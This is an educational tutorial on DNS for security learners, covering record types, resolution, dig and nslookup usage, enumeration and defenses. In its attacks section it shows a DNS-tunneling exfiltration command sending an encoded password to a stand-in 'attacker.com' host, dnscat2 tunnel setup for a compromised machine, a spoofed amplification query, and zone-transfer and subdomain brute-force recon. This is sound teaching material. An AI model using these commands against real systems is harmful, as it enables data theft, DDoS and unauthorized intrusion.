By Davy Rogers. Use these techniques only in environments you own or have explicit permission to test.

DNS (Domain Name System)

DNS is the "phonebook of the internet"—it translates human-readable domain names (like google.com) into IP addresses (like 142.250.185.46) that computers use to communicate. Understanding DNS is critical for cybersecurity professionals because it's involved in nearly every network attack, from reconnaissance to phishing to data exfiltration. DNS is also a common target itself, with attacks like DNS poisoning, DDoS, and tunneling.

What You'll Learn

  • How DNS works (recursive and iterative queries)
  • DNS record types (A, AAAA, MX, TXT, etc.)
  • DNS hierarchy and infrastructure
  • DNS enumeration techniques for reconnaissance
  • DNS-based attacks (poisoning, tunneling, amplification)
  • DNS security (DNSSEC, DoH, DoT)
  • Tools for DNS analysis (dig, nslookup, dnsrecon)
  • How to exploit and defend DNS

What Is DNS?

DNS (Domain Name System) is a distributed database that maps domain names to IP addresses.

Without DNS:

You: "I want to visit google.com"
Computer: "I don't know what google.com means. Give me an IP address."
You: "Uh... 142.250.185.46?"
Computer: "OK, connecting..."

With DNS:

You: "I want to visit google.com"
Computer: "Let me ask DNS... DNS says 142.250.185.46"
Computer: "OK, connecting to 142.250.185.46..."

Why DNS Matters:

  • Usability: Humans remember names, not numbers
  • Flexibility: IP addresses can change without breaking links
  • Load balancing: One domain can map to multiple IPs
  • Services: Email (MX records), verification (TXT records)

DNS Hierarchy

DNS is hierarchical, like a tree:

                           . (root)
                           │
        ┌──────────────────┼──────────────────┐
        │                  │                  │
       com                org                net
        │                  │                  │
    ┌───┼───┐          wikipedia          github
    │   │   │              │                  │
 google │  amazon          en              enterprise
    │   │   │
   www  │  shop
        │
     example
        │
       www

Fully Qualified Domain Name (FQDN):

www.example.com.
│   │       │   │
│   │       │   └─ Root (usually implicit)
│   │       └───── Top-Level Domain (TLD)
│   └───────────── Second-Level Domain (SLD)
└───────────────── Subdomain

DNS Record Types

DNS stores different types of records:

A Record (Address)

  • Purpose: Map domain to IPv4 address
  • Example: example.com → 93.184.216.34
dig example.com A

# Answer:
example.com.    86400    IN    A    93.184.216.34

AAAA Record (IPv6 Address)

  • Purpose: Map domain to IPv6 address
  • Example: example.com → 2606:2800:220:1:248:1893:25c8:1946
dig example.com AAAA

# Answer:
example.com.    86400    IN    AAAA    2606:2800:220:1:248:1893:25c8:1946

CNAME Record (Canonical Name)

  • Purpose: Alias one domain to another
  • Example: www.example.com → example.com
dig www.github.com CNAME

# Answer:
www.github.com.    3600    IN    CNAME    github.com.

Use case: Point multiple subdomains to the same server

MX Record (Mail Exchange)

  • Purpose: Specify mail servers for a domain
  • Priority: Lower number = higher priority
dig example.com MX

# Answer:
example.com.    86400    IN    MX    10 mail.example.com.
example.com.    86400    IN    MX    20 mail2.example.com.

Use case: Email routing

TXT Record (Text)

  • Purpose: Store arbitrary text data
  • Common uses:
    • SPF (email authentication)
    • DKIM (email signing)
    • Domain verification (Google, etc.)
dig example.com TXT

# Examples:
example.com.    IN    TXT    "v=spf1 include:_spf.google.com ~all"
example.com.    IN    TXT    "google-site-verification=abc123..."

NS Record (Name Server)

  • Purpose: Specify authoritative DNS servers for domain
dig example.com NS

# Answer:
example.com.    86400    IN    NS    a.iana-servers.net.
example.com.    86400    IN    NS    b.iana-servers.net.

PTR Record (Pointer)

  • Purpose: Reverse DNS (IP → domain)
dig -x 8.8.8.8

# Answer:
8.8.8.8.in-addr.arpa.    86400    IN    PTR    dns.google.

Use case: Email servers check PTR to verify sender

SOA Record (Start of Authority)

  • Purpose: Administrative information about zone
dig example.com SOA

# Answer includes:
# - Primary name server
# - Admin email
# - Serial number (version)
# - Refresh/retry timers
# - TTL

SRV Record (Service)

  • Purpose: Specify location of services
dig _ldap._tcp.example.com SRV

# Answer:
_ldap._tcp.example.com.    IN    SRV    10 0 389 ldap.example.com.

Use case: Service discovery (LDAP, SIP, XMPP)

How DNS Works

DNS Query Process:

1. User types: google.com

2. Browser checks:
   - Browser cache (recently visited?)
   - OS cache (hosts file, local cache)

3. If not cached, query recursive DNS resolver:
   - Usually ISP's DNS server
   - Or public DNS (8.8.8.8, 1.1.1.1)

4. Recursive resolver checks its cache

5. If not cached, recursive resolver queries:
   a. Root name server (.): "Who handles .com?"
      → "Ask .com TLD server at 192.5.5.241"
   
   b. TLD server (.com): "Who handles google.com?"
      → "Ask google.com's NS at 216.239.32.10"
   
   c. Authoritative server (google.com): "What's google.com's IP?"
      → "142.250.185.46"

6. Recursive resolver caches answer

7. Returns answer to your computer

8. Your computer caches answer

9. Browser connects to 142.250.185.46

Recursive vs Iterative Queries:

Recursive:

  • "Do all the work for me"
  • Client → Recursive Resolver → (multiple queries) → Client

Iterative:

  • "Tell me who to ask next"
  • Resolver → Root → "Ask TLD"
  • Resolver → TLD → "Ask Authoritative"
  • Resolver → Authoritative → "Here's the answer"

DNS Tools

1. nslookup (Simple Queries)

# Basic query
nslookup google.com

# Output:
Server:         8.8.8.8
Address:        8.8.8.8#53

Non-authoritative answer:
Name:   google.com
Address: 142.250.185.46

# Specify DNS server
nslookup google.com 1.1.1.1

# Query specific record type
nslookup -type=MX google.com
nslookup -type=TXT google.com

# Reverse lookup
nslookup 8.8.8.8

2. dig (Detailed Queries)

# Basic query
dig google.com

# Output includes:
# - Query details
# - Answer section (the actual record)
# - Authority section (authoritative servers)
# - Additional section (related records)

# Short answer only
dig google.com +short

# Specific record type
dig google.com A
dig google.com AAAA
dig google.com MX
dig google.com NS
dig google.com TXT

# Query specific DNS server
dig @8.8.8.8 google.com
dig @1.1.1.1 google.com

# Reverse lookup
dig -x 8.8.8.8

# Trace query path
dig google.com +trace

# Shows:
# - Root servers
# - .com TLD servers  
# - google.com authoritative servers
# - Final answer

# All records
dig google.com ANY

3. host (Quick Lookups)

# Basic query
host google.com

# All record types
host -a google.com

# Reverse lookup
host 8.8.8.8

4. dnsrecon (Enumeration)

# Install
pip install dnsrecon

# Standard enumeration
dnsrecon -d example.com

# Zone transfer attempt
dnsrecon -d example.com -t axfr

# Subdomain brute force
dnsrecon -d example.com -t brt -D subdomains.txt

# Reverse lookup on range
dnsrecon -r 192.168.1.0/24

5. dnsenum (Subdomain Enumeration)

# Install
apt install dnsenum

# Enumerate domain
dnsenum example.com

# Does:
# - Get host addresses
# - Get name servers
# - Get MX records
# - Try zone transfer
# - Brute force subdomains
# - Reverse lookup on network range

6. fierce (DNS Scanner)

# Install
pip install fierce

# Scan domain
fierce --domain example.com

# Custom wordlist
fierce --domain example.com --subdomain-file wordlist.txt

DNS Enumeration (Reconnaissance)

Why Enumerate DNS?

Discover:

  • Subdomains (mail.example.com, vpn.example.com, admin.example.com)
  • IP addresses (network ranges)
  • Email servers (MX records)
  • Name servers (potential targets)
  • Services (SRV records)
  • Infrastructure details (TXT records)

Technique 1: Zone Transfer

Zone transfer (AXFR) copies all DNS records from a server.

Should be restricted to authorized servers, but sometimes misconfigured:

# Get name servers
dig example.com NS +short

# Try zone transfer
dig @ns1.example.com example.com AXFR

# If successful, you get ALL records:
example.com.    IN    A       192.168.1.10
www.example.com. IN   A       192.168.1.10
mail.example.com. IN  A       192.168.1.20
vpn.example.com.  IN  A       192.168.1.30
admin.example.com. IN A       192.168.1.40
...

Automated:

# Try zone transfer with dnsrecon
dnsrecon -d example.com -t axfr

# Try with fierce
fierce --domain example.com

Technique 2: Subdomain Brute Force

# Using dnsrecon
dnsrecon -d example.com -t brt -D /usr/share/wordlists/dnsmap.txt

# Using dnsenum
dnsenum --enum example.com

# Using amass
amass enum -d example.com

# Using gobuster
gobuster dns -d example.com -w subdomains.txt

# Using subfinder
subfinder -d example.com

Common subdomain wordlists:

# SecLists subdomains
/usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt

# Custom list
cat > subdomains.txt <<EOF
www
mail
ftp
admin
vpn
dev
test
staging
api
portal
remote
EOF

Technique 3: Reverse DNS Lookup

Find other domains on same IP:

# Get IP of domain
host example.com

# Reverse lookup
host 192.168.1.10

# Bulk reverse lookup
dnsrecon -r 192.168.1.0/24

# Using nmap
nmap -sL 192.168.1.0/24 | grep '('

Technique 4: DNS Cache Snooping

Check what domains a DNS server has cached:

# Query with no recursion flag
dig @8.8.8.8 example.com +norecurse

# If answer returned: Server has it cached
# If no answer: Server hasn't resolved it recently

Use case: Identify what websites users have visited

Technique 5: Certificate Transparency Logs

Find subdomains via SSL certificates:

# crt.sh (website)
https://crt.sh/?q=example.com

# Output: All certificates issued for *.example.com
# Reveals subdomains: api.example.com, vpn.example.com, etc.

# Command-line
curl -s "https://crt.sh/?q=%25.example.com&output=json" | jq -r '.[].name_value' | sort -u

Technique 6: Search Engine Dorking

site:example.com -www

Finds subdomains indexed by Google

DNS Attacks

1. DNS Spoofing / Cache Poisoning

Goal: Trick DNS resolver into caching false IP addresses

How it works:

1. Attacker sends DNS query to resolver
2. Simultaneously sends forged response with:
   - Correct transaction ID
   - Attacker's IP address
3. If forged response arrives first:
   - Resolver caches malicious record
   - All users get attacker's IP for that domain

Example:

Victim queries: bank.com
Attacker's forged response: bank.com → 1.2.3.4 (attacker's phishing site)
Resolver caches this
All users now go to phishing site!

Famous attack: Kaminsky Attack (2008)

Defense:

  • DNSSEC (cryptographic signatures)
  • Random source ports
  • Random transaction IDs
  • Query name randomization

2. DNS Tunneling (Data Exfiltration)

Goal: Bypass firewall by hiding data in DNS queries

How it works:

DNS is usually allowed through firewalls
Encode data in subdomain names:
  - data1.attacker.com
  - data2.attacker.com
  - secretpassword.attacker.com

Attacker's DNS server receives queries and extracts data

Example:

# Data to exfiltrate: "password123"

# Encode in DNS query
dig cGFzc3dvcmQxMjM.attacker.com

# Attacker's DNS server logs query
# Decodes base64: "password123"

Tools:

  • dnscat2: DNS tunnel
  • iodine: IP-over-DNS tunnel
# Set up dnscat2 server
ruby dnscat2.rb attacker.com

# Client (on compromised machine)
./dnscat2 attacker.com

Detection:

  • Unusual DNS query volume
  • Long subdomain names
  • High entropy in domain names
  • Queries to suspicious domains

3. DNS Amplification (DDoS)

Goal: Amplify small request into large response for DDoS

How it works:

1. Attacker sends small DNS query with SPOOFED source IP (victim's IP)
2. DNS server responds with LARGE answer to victim
3. Repeat with thousands of DNS servers
4. Victim overwhelmed with traffic

Amplification factor: Query = 60 bytes → Response = 3000 bytes (50x!)

Example:

# Attacker sends (spoofing victim's IP as source)
dig @open-resolver.com ANY example.com

# Open resolver sends massive response to victim

Defense:

  • Disable open resolvers (don't respond to everyone)
  • Rate limiting
  • BCP 38 (prevent IP spoofing)

4. Domain Hijacking

Goal: Take control of domain

Methods:

  • Compromise registrar account
  • Expired domain registration
  • Social engineering registrar
  • Compromise DNS provider

Result: Attacker controls DNS records

5. Subdomain Takeover

Goal: Take over abandoned subdomain

How it works:

1. Company creates subdomain: blog.example.com
2. Points it to external service (GitHub Pages, AWS S3, etc.)
3. Company stops using service but doesn't delete DNS record
4. Attacker claims the service resource
5. Attacker now controls blog.example.com

Example:

# DNS record exists
dig blog.example.com CNAME
# blog.example.com → oldcompany.github.io

# GitHub Pages deleted
# Attacker creates GitHub account: oldcompany
# Attacker now controls blog.example.com!

Testing:

# Tools to find vulnerable subdomains
subjack -w subdomains.txt -t 100 -timeout 30 -o results.txt

DNS Security

DNSSEC (DNS Security Extensions)

Purpose: Cryptographically sign DNS records

How it works:

1. Zone owner signs DNS records with private key
2. Public key published in DNS
3. Resolver verifies signature with public key
4. If signature invalid: Record tampered/forged

Benefits:

  • Prevents cache poisoning
  • Ensures data integrity
  • Authenticates DNS responses

Check if domain uses DNSSEC:

dig example.com +dnssec

# Look for:
# - RRSIG records (signatures)
# - DNSKEY records (public keys)

Limitations:

  • Doesn't encrypt queries (privacy issue)
  • Not widely adopted

DoH (DNS over HTTPS)

Purpose: Encrypt DNS queries to prevent eavesdropping

How it works:

Traditional: DNS queries sent in plaintext (port 53)
DoH: DNS queries sent over HTTPS (port 443)

Benefits:

  • Privacy (ISP can't see queries)
  • Prevents MITM tampering
  • Bypasses DNS-based filtering

Using DoH:

# Firefox: Built-in DoH support
Settings → Network Settings → Enable DNS over HTTPS

# System-wide (Linux) with cloudflared
cloudflared proxy-dns --upstream https://1.1.1.1/dns-query

# Query via DoH (curl)
curl -H 'accept: application/dns-json' 'https://1.1.1.1/dns-query?name=example.com'

DoT (DNS over TLS)

Purpose: Encrypt DNS queries (different port than DoH)

How it works:

Encrypt DNS queries with TLS (port 853)

Configure (Linux):

# /etc/systemd/resolved.conf
[Resolve]
DNS=1.1.1.1
DNSOverTLS=yes

DNS Reconnaissance Exercise

Comprehensive DNS Enumeration:

# 1. Basic lookup
dig example.com

# 2. Get all record types
dig example.com ANY

# 3. Get name servers
dig example.com NS

# 4. Try zone transfer (unlikely to work)
dig @ns1.example.com example.com AXFR

# 5. Subdomain brute force
dnsrecon -d example.com -t brt -D /usr/share/wordlists/subdomains.txt

# 6. Certificate transparency
curl -s "https://crt.sh/?q=%25.example.com&output=json" | jq -r '.[].name_value' | sort -u

# 7. Reverse DNS on discovered IPs
host 93.184.216.34

# 8. Check for DNSSEC
dig example.com +dnssec

# 9. Get MX records (mail servers)
dig example.com MX

# 10. Get TXT records (often reveals infrastructure)
dig example.com TXT

Try It Yourself

Exercise 1: DNS Lookup Basics

# Query your favorite website
dig google.com

# Identify:
# - IP address (A record)
# - Name servers (Authority section)
# - TTL (cache time)

# Trace full resolution path
dig google.com +trace

Exercise 2: Subdomain Discovery

# Find subdomains of a target (use a test domain)
dnsrecon -d example.com -t std

# Check certificate transparency
curl -s "https://crt.sh/?q=%25.example.com&output=json" | jq -r '.[].name_value' | sort -u

Exercise 3: Compare DNS Providers

# Query same domain with different DNS servers
dig @8.8.8.8 google.com       # Google DNS
dig @1.1.1.1 google.com       # Cloudflare DNS
dig @9.9.9.9 google.com       # Quad9 DNS

# Compare:
# - Response time
# - TTL values
# - Additional records

Exercise 4: Monitor DNS Changes

# Script to monitor DNS changes
#!/bin/bash
while true; do
    dig example.com +short | tee -a dns_log.txt
    sleep 3600  # Check every hour
done

# Analyze log for changes
# Useful for detecting DNS hijacking

DNS Quick Reference

# Common DNS queries

# A record (IPv4)
dig example.com A

# AAAA record (IPv6)
dig example.com AAAA

# Mail servers
dig example.com MX

# Name servers
dig example.com NS

# Text records
dig example.com TXT

# All records
dig example.com ANY

# Reverse lookup
dig -x 8.8.8.8

# Trace query path
dig example.com +trace

# Short answer only
dig example.com +short

# Specific DNS server
dig @8.8.8.8 example.com

# No recursion (check cache)
dig @8.8.8.8 example.com +norecurse

# DNSSEC validation
dig example.com +dnssec

Resources

Tools:

  • dig: DNS lookup utility (Linux)
  • nslookup: Cross-platform DNS query tool
  • dnsrecon: DNS enumeration - GitHub
  • amass: Comprehensive subdomain discovery - GitHub
  • subfinder: Subdomain discovery - GitHub

Online Resources:

Reading:

Next Steps

  1. Practice subdomain enumeration on test domains
  2. Learn DNSSEC validation techniques
  3. Set up DoH on your devices for privacy
  4. Understand DNS in pentesting reconnaissance phase
  5. Monitor your own DNS for signs of hijacking

DNS is fundamental to the internet and to cybersecurity. Master it, and you'll understand how most attacks begin and how to defend against them!

"DNS: The phonebook attack surface of the internet."

Up next

Network Address Translation (NAT)

Understanding how NAT enables private networks to connect to the internet.